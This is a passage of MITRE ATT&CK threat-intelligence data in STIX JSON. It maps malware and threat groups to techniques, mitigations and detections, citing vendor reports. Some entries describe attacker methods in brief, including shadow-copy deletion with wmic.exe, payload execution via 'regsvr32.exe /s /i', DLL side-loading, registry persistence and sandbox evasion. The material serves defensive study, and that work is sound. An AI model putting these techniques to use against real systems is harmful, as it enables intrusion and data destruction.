2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b25f5d90-f6cc-47e9-89f1-5527886bf536","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.kroll.com/en/insights/publications/malware-analysis-report-rawpos-malware","description":"Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder’s Toolkit. Retrieved October 4, 2017.","source_name":"Kroll RawPOS Jan 2017"}],"modified":"2020-03-17T14:49:24.371Z","description":"Data captured by [RawPOS](https://attack.mitre.org/software/S0169) is placed in a temporary file under a directory named \"memdump\".(Citation: Kroll RawPOS Jan 2017)","relationship_type":"uses","source_ref":"malware--9752aef4-a1f3-4328-929f-b64eb0536090","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b262ab77-a591-41eb-b8dc-f0af1d31b920","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor for logged domain name system (DNS) data that may compromise third-party infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","source_ref":"x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4","target_ref":"attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b26307f7-2d5a-4139-8333-e2c7a583f939","type":"relationship","created":"2021-10-07T21:28:23.909Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-19T00:23:16.022Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) has used a zero-day exploit in the ssh launchdaemon to elevate privileges and bypass SIP.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2651406-190a-4341-8d76-f9c25f66077b","type":"relationship","created":"2019-11-13T14:44:49.721Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-21T17:48:20.483Z","description":"Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform these actions","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b26c15f9-0679-402b-bcf5-bdae40921f93","type":"relationship","created":"2021-08-23T19:38:33.531Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Hornet Security Avaddon June 2020","url":"https://www.hornetsecurity.com/en/security-information/avaddon-from-seeking-affiliates-to-in-the-wild-in-2-days/","description":"Security Lab. (2020, June 5). Avaddon: From seeking affiliates to in-the-wild in 2 days. Retrieved August 19, 2021."}],"modified":"2021-10-07T15:06:50.856Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) uses wmic.exe to delete shadow copies.(Citation: Hornet Security Avaddon June 2020)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b26f9867-37f2-4b7f-9b87-26f2152191bc","created":"2022-09-26T13:43:51.011Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T13:43:51.011Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) has the ability to clean traces of malware deployment.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b26fc06b-507b-4fbd-bf07-b4e880ac85ab","created":"2022-07-25T18:27:28.166Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Heyoka Backdoor](https://attack.mitre.org/software/S1027) can establish persistence with the auto start function including using the value `EverNoteTrayUService`.(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-25T18:27:28.166Z","relationship_type":"uses","source_ref":"malware--dff90475-9f72-41a6-84ed-1fbefd3874c0","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b27650da-9a26-4bd3-9e9e-2559a0b6dc86","created":"2021-12-27T19:19:42.892Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) has the ability to inject malicious DLLs into a specific process for privilege escalation.(Citation: Check Point Warzone Feb 2020)","modified":"2022-04-07T16:52:48.887Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b277ffdd-55fc-42fc-96c0-3bf395f04831","created":"2022-08-07T14:36:15.853Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SideCopy](https://attack.mitre.org/groups/G1008) has used a malicious loader DLL file to execute the `credwiz.exe` process and side-load the malicious payload `Duser.dll`.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-15T20:28:15.290Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2848d62-76a1-465c-b12e-7dc3113e6bbe","type":"relationship","created":"2020-05-11T18:33:34.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-05-12T22:13:17.034Z","description":"[RTM](https://attack.mitre.org/software/S0148) used Port 44443 for its VNC module.(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2852e21-c31a-482a-85fd-00d0990ee8ea","type":"relationship","created":"2021-02-09T14:35:39.656Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Bad Rabbit","url":"https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/","description":"M.Léveille, M-E.. (2017, October 24). Bad Rabbit: Not‑Petya is back with improved ransomware. Retrieved January 28, 2021."}],"modified":"2021-10-15T21:11:22.399Z","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606) has used various Windows API calls.(Citation: ESET Bad Rabbit)","relationship_type":"uses","source_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b2876820-3402-45e3-a0af-f85237a23ae6","created":"2020-07-15T19:28:00.659Z","x_mitre_version":"1.0","external_references":[{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[gh0st RAT](https://attack.mitre.org/software/S0032) operators have used dynamic DNS to mask the true location of their C2 behind rapidly changing IP addresses.(Citation: Gh0stRAT ATT March 2019)","modified":"2022-04-15T15:09:47.477Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b28c7fbf-05c6-4be2-9f17-3dcc722cee7c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos NavRAT May 2018","description":"Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.","url":"https://blog.talosintelligence.com/2018/05/navrat.html"}],"modified":"2020-03-16T17:19:47.377Z","description":"[NavRAT](https://attack.mitre.org/software/S0247) creates a Registry key to ensure a file gets executed upon reboot in order to establish persistence.(Citation: Talos NavRAT May 2018)","relationship_type":"uses","source_ref":"malware--53a42597-1974-4b8e-84fd-3675e8992053","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b28f8635-6a79-4be1-b05a-b4356a04e7c2","type":"relationship","created":"2019-06-25T14:33:33.684Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-24T16:48:59.422Z","description":"Block unknown devices and accessories by endpoint security configuration and monitoring agent.","relationship_type":"mitigates","source_ref":"course-of-action--2995bc22-2851-4345-ad19-4e7e295be264","target_ref":"attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b29088a3-47cf-4799-a8e5-428472908d06","created":"2023-04-10T17:01:22.574Z","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"},{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T17:01:22.574Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has used malware that adds Registry keys for persistence.(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b29139fc-f053-44f7-9b5f-6029a984474d","type":"relationship","created":"2020-06-24T16:55:46.379Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Expel IO Evil in AWS","url":"https://expel.io/blog/finding-evil-in-aws/","description":"A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020."}],"modified":"2020-07-07T13:49:05.463Z","description":"Ensure least privilege principles are applied to Identity and Access Management (IAM) security policies.(Citation: Expel IO Evil in AWS)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b29637f2-49be-4785-b82b-09661f25c42c","type":"relationship","created":"2021-04-01T21:13:03.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.","url":"https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/","source_name":"Cyphort EvilBunny Dec 2014"}],"modified":"2021-04-01T21:13:03.578Z","description":"[EvilBunny](https://attack.mitre.org/software/S0396) has used time measurements from 3 different APIs before and after performing sleep operations to check and abort if the malware is running in a sandbox.(Citation: Cyphort EvilBunny Dec 2014)","relationship_type":"uses","source_ref":"malware--a8a778f5-0035-4870-bb25-53dc05029586","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b2a03f9f-883b-4ced-b4a2-cd49d8e7a3aa","created":"2022-08-22T15:55:19.477Z","x_mitre_version":"0.1","external_references":[{"source_name":"Google EXOTIC LILY March 2022","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Google EXOTIC LILY March 2022)","modified":"2022-08-22T15:55:19.477Z","relationship_type":"uses","source_ref":"intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af","target_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2a42d95-fc64-4e6f-95d9-7b24334bccd4","type":"relationship","created":"2019-06-21T15:19:09.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-17T15:38:54.805Z","description":"Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b2a83e1d-f6e8-4cdc-a96e-7bca9a48dfb2","created":"2019-01-29T21:27:25.287Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.991Z","description":"[APT38](https://attack.mitre.org/groups/G0082) used a Trojan called KEYLIME to collect data from the clipboard.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2ab26e2-eb90-4f19-b35a-b8a0a5438961","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"}],"modified":"2021-04-27T19:53:40.756Z","description":"[DustySky](https://attack.mitre.org/software/S0062) has two hard-coded domains for C2 servers; if the first does not respond, it will try the second.(Citation: DustySky)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2ac3f9c-b43a-417f-8f9f-0c86bee2e219","type":"relationship","created":"2020-10-20T19:09:24.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Image File Integrity","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#30","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Image File Integrity. Retrieved October 21, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Image File Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Change Control","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#31","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Change Control. Retrieved October 21, 2020."}],"modified":"2020-10-22T02:18:19.762Z","description":"Periodically check the integrity of system image to ensure it has not been modified. (Citation: Cisco IOS Software Integrity Assurance - Image File Integrity) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification) (Citation: Cisco IOS Software Integrity Assurance - Change Control) ","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2ae2606-fea8-4caf-a79e-91f09932d6d4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.710Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) captures screenshots of the victim’s screen.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2b112f8-27ed-449c-a9e1-e984139ee9f2","type":"relationship","created":"2020-05-20T12:49:50.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T22:48:29.689Z","description":"Limit the use of USB devices and removable media within a network.","relationship_type":"mitigates","source_ref":"course-of-action--2995bc22-2851-4345-ad19-4e7e295be264","target_ref":"attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b2b37e14-5dbc-4faa-955a-7172b242e828","created":"2022-04-11T00:17:56.360Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) has used `regsvr32.exe /s /i` to execute malicious payloads.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:17:56.360Z","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b2b873cd-8618-426e-9cae-9e6755acafad","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.638Z","description":"[EvilGrab](https://attack.mitre.org/software/S0152) has the capability to capture screenshots.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2b885e0-3b49-4a38-80eb-30a1a3157ff0","type":"relationship","created":"2019-01-29T19:39:38.530Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ESET. (2017, March 30). Carbon Paper: Peering into Turla’s second stage backdoor. Retrieved November 7, 2018.","url":"https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/","source_name":"ESET Carbon Mar 2017"},{"source_name":"Secureworks IRON HUNTER Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hunter","description":"Secureworks CTU. (n.d.). IRON HUNTER. Retrieved February 22, 2022."}],"modified":"2022-02-22T15:46:45.800Z","description":"(Citation: ESET Carbon Mar 2017)(Citation: Secureworks IRON HUNTER Profile)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2bcda58-39af-43b6-bee4-13f1aca103c0","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for unusual kernel driver installation activity that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised 